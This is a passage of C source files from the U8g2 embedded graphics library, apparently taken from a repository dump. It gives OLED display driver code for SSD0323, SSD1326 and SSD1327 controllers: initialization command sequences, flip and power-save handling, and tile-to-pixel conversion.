u8x8_d_ssd0323_os128064_init_seq[] = {\n\n  U8X8_START_TRANSFER(),                     /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),                                /* display off */\n  U8X8_CA(0x0b3, 0x091),                /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */\n  U8X8_CA(0x0a8, 0x03f),                /* multiplex ratio: 0x03f * 1/64 duty */\n  U8X8_CA(0x0a2, 0x040),                /* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a1, 0x000),                /* display start line */\n  U8X8_CA(0x0ad, 0x002),                /* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  U8X8_CA(0x0a0, 0x052),                /* remap configuration, horizontal address increment (bit 2 = 0), enable nibble remap (upper nibble is left, bit 1 = 1) */\n  U8X8_C(0x086),                                /* full current range (0x084, 0x085, 0x086) */\n  U8X8_C(0x0b8),                                /* set gray scale table */\n    U8X8_A(0x001),                                /* */\n    U8X8_A(0x011),                                /* */\n    U8X8_A(0x022),                                /* */\n    U8X8_A(0x032),                                /* */\n    U8X8_A(0x043),                                /* */\n    U8X8_A(0x054),                                /* */\n    U8X8_A(0x065),                                /* */\n    U8X8_A(0x076),                                /* */\n\n  U8X8_CA(0x081, 0x070),                /* contrast, brightness, 0..128, Newhaven: 0x040 */\n  U8X8_CA(0x0b2, 0x051),                /* frame frequency (row period) */\n  U8X8_CA(0x0b1, 0x055),                    /* phase length */\n  U8X8_CA(0x0bc, 0x010),                    /* pre-charge voltage level */\n  U8X8_CA(0x0b4, 0x002),                    /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CA(0x0b0, 0x028),                    /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CA(0x0be, 0x01c),                     /* VCOMH voltage */\n  U8X8_CA(0x0bf, 0x002|0x00d),           /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_C(0x0a4),                                /* normal display mode */\n\n  U8X8_CA(0x023, 0x003),                /* graphics accelleration: fill pixel */\n\n  U8X8_END_TRANSFER(),                     /* disable chip */\n  U8X8_END()                                     /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd0323_os128064_flip0_seq[] = {\n  U8X8_START_TRANSFER(),                     /* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a0, 0x052),                /* remap */\n  U8X8_CA(0x0a2, 0x040),                /* display offset, shift mapping ram counter */\n  U8X8_END_TRANSFER(),                     /* disable chip */\n  U8X8_END()                                     /* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd0323_os128064_flip1_seq[] = {\n  U8X8_START_TRANSFER(),                     /* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a0, 0x041),                /* remap */\n  U8X8_CA(0x0a2, 0x050),                /* display offset, shift mapping ram counter */\n  U8X8_END_TRANSFER(),                     /* disable chip */\n  U8X8_END()                                     /* end of sequence */\n};\n\n\nstatic const u8x8_display_info_t u8x8_ssd0323_os128064_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* SSD1325  */\n  /* sck_pulse_width_ns = */ 100,\t/* SSD1325  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t/* SSD1325 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\t\t/* x_offset is used as y offset for the SSD1325 */\n  /* flipmode_x_offset = */ 0,\t\t/* x_offset is used as y offset for the SSD1325 */\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_ssd0323_os128064(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd0323_os128064_display_info);\n      return 1;\n    }\n    else if ( msg == U8X8_MSG_DISPLAY_INIT )\n    {\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd0323_os128064_init_seq);\n      return 1;\n    }    \n    else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE )\n    {\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd0323_os128064_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd0323_os128064_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      return 1;\n    }\n    return u8x8_d_ssd1325_128x64_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1326.c",
    "content": "/*\n\n  u8x8_d_ssd1326.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n/* ER OLED */\nstatic const uint8_t u8x8_d_ssd1326_er_256x32_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n\n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock (not required, this is default by reset) */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0a8, 0x01f),\t\t/* multiplex ratio: 0x03f * 1/64 duty - changed by CREESOO, acc. to datasheet, 100317*/ \n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */\n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0ad, 0x002),\t\t/* master configuration: disable embedded DC-DC, enable internal VCOMH */\n  /*\n    a0 command: 0x0a0 ***abcde\n      a: 1: mono mode\n      b: 0: horizontal (1: vertical) address increment\n      c: 1: enable bit remap\n      d: 1: COM remap\n      e: 1: Column remap\n  */\n  U8X8_CA(0x0a0, 0x006),\t\t/* remap configuration, see above */\n  U8X8_C(0x086),\t\t\t\t/* full current range (0x084, 0x085, 0x086) */\n\n  U8X8_C(0x0b7),\t\t\t\t/* set default gray scale table */\n    \n  U8X8_CA(0x081, 0x027),\t\t/* contrast, brightness, 0..128 */\n  U8X8_CA(0x0b1, 0x071),                    /* phase length */\n  //U8X8_CA(0x0b2, 0x051),\t\t/* frame frequency (row period) */\n  U8X8_CA(0x0b3, 0x0f0),\t\t/* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */\t\t\t\n  //U8X8_CA(0x0b4, 0x002),                    /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  //U8X8_CA(0x0b0, 0x028),                    /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_CAA(0x0bb, 0x035, 0x0ff),                     /* set precharge */\n  U8X8_CA(0x0bc, 0x01f),                    /* pre-charge voltage level */\n  U8X8_CA(0x0be, 0x00f),                     /* VCOMH voltage */\n  U8X8_CA(0x0bf, 0x002|0x00d),           /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */\n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  //U8X8_CA(0x023, 0x003),\t\t/* graphics accelleration: fill pixel */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1326_256x32_nhd_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1326_256x32_nhd_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1326_256x32_nhd_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a0, 0x006),\t\t/* remap 00110 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1326_256x32_nhd_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  //U8X8_CA(0x0a0, 0x005),\t\t/* remap 00101 */\n  U8X8_CA(0x0a0, 0x001),\t\t/* remap 00001 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/*\n  input:\n    one tile (8 Bytes)\n  output:\n    Tile for ssd1326 (32 Bytes)\n*/\n\nstatic uint8_t u8x8_ssd1326_8to32_dest_buf[32];\n\nstatic uint8_t *u8x8_ssd1326_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1326_8to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;\n      if ( b&1 ) v |= 0x0f;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  \n  return u8x8_ssd1326_8to32_dest_buf;\n}\n\n\n\n\nstatic uint8_t u8x8_d_ssd1326_256x32_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1326_256x32_nhd_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_er_256x32_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_256x32_nhd_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_256x32_nhd_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_256x32_nhd_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1326_256x32_nhd_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1326 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;\n      x *= 4;\n      \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      \n      y *= 8;\n      y += u8x8->x_offset;\t\t/* x_offset is used as y offset for the ssd1326 */\n    \n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n          u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n          u8x8_cad_SendArg(u8x8, x );\t/* start */\n          u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n\n          u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address */\n          u8x8_cad_SendArg(u8x8, y);\n          u8x8_cad_SendArg(u8x8, y+7);\n          \n          u8x8_cad_SendData(u8x8, 32, u8x8_ssd1326_8to32(u8x8, ptr));\n          \n\t  ptr += 8;\n\t  x += 4;\n\t  c--;\n\t} while( c > 0 );\n\t\n\t//x += 4;\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1326_256x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 15,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* ssd1326  */\n  /* sck_pulse_width_ns = */ 100,\t/* ssd1326  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t/* ssd1326 */\n  /* tile_width = */ 32,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\t\t/* x_offset is used as y offset for the ssd1326 */\n  /* flipmode_x_offset = */ 0,\t\t/* x_offset is used as y offset for the ssd1326 */\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_ssd1326_er_256x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n    {\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1326_256x32_display_info);\n      return 1;\n    }\n    return u8x8_d_ssd1326_256x32_generic(u8x8, msg, arg_int, arg_ptr);\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1327.c",
    "content": "/*\n\n  u8x8_d_ssd1327.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\nstatic const uint8_t u8x8_d_ssd1327_96x96_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1327_96x96_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1327_seeed_96x96_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x020),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1327_seeed_96x96_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a2, 0x060),\t\t/* display offset, shift mapping ram counter */\n  U8X8_CA(0x0a0, 0x042),\t\t/* remap configuration */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1327_winstar_96x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */  \n  U8X8_CA(0x0a0, 0x042),\t\t/* remap configuration */\n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1327_winstar_96x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0a0, 0x051),\t\t/* remap configuration */\n  U8X8_CA(0x0a2, 0x040),\t\t/* display offset, shift mapping ram counter */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/*\n  input:\n    one tile (8 Bytes)\n  output:\n    Tile for ssd1327 (32 Bytes)\n*/\n\nstatic uint8_t u8x8_ssd1327_8to32_dest_buf[32];\n\nstatic uint8_t *u8x8_ssd1327_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1327_8to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;\n      if ( b&1 ) v |= 0x0f;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  \n  return u8x8_ssd1327_8to32_dest_buf;\n}\n\n\n\n\nstatic uint8_t u8x8_d_ssd1327_96x96_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_96x96_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_96x96_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_96x96_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_96x96_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1327 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 4;\n      x+=u8x8->x_offset/2;\n    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y *= 8;\n    \n      u8x8_cad_SendCmd(u8x8, 0x075 );\t/* set row address, moved out of the loop (issue 302) */\n      u8x8_cad_SendArg(u8x8, y);\n      u8x8_cad_SendArg(u8x8, y+7);\n\t  \n      \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n\tdo\n\t{\n\t  u8x8_cad_SendCmd(u8x8, 0x015 );\t/* set column address */\n\t  u8x8_cad_SendArg(u8x8, x );\t/* start */\n\t  u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n\n\t  \n\t  u8x8_cad_SendData(u8x8, 32, u8x8_ssd1327_8to32(u8x8, ptr));\n\t  ptr += 8;\n\t  x += 4;\n\t  c--;\n\t} while( c > 0 );\n\t\n\t//x += 4;\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=============================================*/\n/*\n  Winstar WEA009664B 96x64 OLED Display, 1.1 inch OLED\n  https://www.winstar.com.tw/products/oled-module/graphic-oled-display/96x64-oled.html\n\n  https://github.com/olikraus/u8g2/issues/1050\n*/\n\nstatic const u8x8_display_info_t u8x8_ssd1327_winstar_96x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t\n  /* post_reset_wait_ms = */ 100, \t\t/**/\n  /* sda_setup_time_ns = */ 100,\t\t/* */\n  /* sck_pulse_width_ns = */ 100,\t/*  */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 1,\t/* use 1 instead of 4, because the SSD1327 seems to be very slow */\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 60,\t\n  /* tile_width = */ 12,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 16,\t\t/* changed to 16, issue 1050 */\n  /* flipmode_x_offset = */ 16,\t\t/* changed to 16, issue 1050 */\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 64\n};\n\n/*\n\tWrite_Cmd(0xAE);\t//Set Display Off     OK\n\tWrite_Cmd(0x81);\t//Contrast Level  OK\n  \tWrite_Cmd(0xdF);\t//\t\t\tVALUE WRONG????\n\tWrite_Cmd(0xD9);\t//Pre-charge Period\n  \tWrite_Cmd(0x00);\n\tWrite_Cmd(0xA0);\t//Set Re-map\t\tOK\n\tWrite_Cmd(0x42);\t//Default Setting\tOK\n\tWrite_Cmd(0xA1);\t//Set Display Start Line\tOK\n\tWrite_Cmd(0x00);\t\t\t\t\t\tOK\n\tWrite_Cmd(0xA2);\t//Set Display Offset\t\tOK\n\tWrite_Cmd(0x00);\t\t\t\t\t\tOK\n\tWrite_Cmd(0xA4);\t//Set Display Mode\t\tOK\n\tWrite_Cmd(0xA8);\t//Set Multiplex Ratio     \tOK\n\tWrite_Cmd(0x63);\t//Multiplex\t\t\tOK\n\tWrite_Cmd(0xAB);\t//Set Function SelectionA OK\n\tWrite_Cmd(0x01);\t\t\t\t\t\tOK\n\tWrite_Cmd(0xB1);\t//Set Phase Length\t\tOK\n\tWrite_Cmd(0x47);\t\t\t\t\t\tOK\n\tWrite_Cmd(0xB3);\t//Set Display Clock Divide Ratio/Oscillator Frequency\tOK\n\tWrite_Cmd(0x00);\t\t\t\t\t\tOK\n\tWrite_Cmd(0xBC);\t//Set Prechange Voltage\tOK\n\tWrite_Cmd(0x07);\t\t\t\t\t\tOK\n\tWrite_Cmd(0xBE);\t//Set VCOMH Voltage\tOK\n\tWrite_Cmd(0x07);\t\t\t\t\t\tOK\n\tWrite_Cmd(0xB6);\t//Set Second Pre-charge period\tOK\n\tWrite_Cmd(0x04);\t\t\t\t\t\t\t\tOK\n\tWrite_Cmd(0xD5);\t//Set Function selection B\t\tOK\n\tWrite_Cmd(0x62);\t\t\t\t\t\t\t\tOK\n\tWrite_Cmd(0xAF);\t//Set Display On\n\n*/\n\nstatic const uint8_t u8x8_d_ssd1327_winstar_96x64_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock display, usually not required because the display is unlocked after reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  \n  U8X8_CA(0x0d9, 0x000),\t\t/* Pre-charge Period ??? */\n  \n  U8X8_CA(0x0a0, 0x042),\t\t/* remap configuration */\n  U8X8_CA(0x0a1, 0x000),\t\t/* display start line */  \n  U8X8_CA(0x0a2, 0x000),\t\t/* display offset, shift mapping ram counter */\n  \n  U8X8_CA(0x0a8, 0x063),\t\t/* multiplex ratio: 63* 1/64 duty */ /* changed to hex, issue 1050 */\n  \n  U8X8_CA(0x0ab, 0x001),\t\t/* Enable internal VDD regulator (RESET) */\n  U8X8_CA(0x081, 0x053),\t\t/* contrast, brightness, 0..128 */\n  \n  U8X8_CA(0x0b1, 0x047),                    /* phase length */  \n  //U8X8_CA(0x0b3, 0x001),\t\t/* set display clock divide ratio/oscillator frequency  */\t\t\t\n  U8X8_CA(0x0b3, 0x000),\t\t/* set display clock divide ratio/oscillator frequency  */\t\t\t\n  \n  U8X8_C(0x0b9),\t\t\t\t/* use linear lookup table */\n\n  U8X8_CA(0x0bc, 0x007),                    /* pre-charge voltage level */\n  U8X8_CA(0x0be, 0x007),                     /* VCOMH voltage */\n  U8X8_CA(0x0b6, 0x004),\t\t/* second precharge */\n  U8X8_CA(0x0d5, 0x062),\t\t/* enable second precharge, internal vsl (bit0 = 0) */\n  \n  U8X8_C(0x0a4),\t\t\t\t/* normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_ssd1327_ws_96x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY )\n  {\n    u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_winstar_96x64_display_info);\n    return 1;\n  }\n  else if ( msg == U8X8_MSG_DISPLAY_INIT )\n  {\n    u8x8_d_helper_display_init(u8x8);\n    u8x8_cad_SendSequence(u8x8, 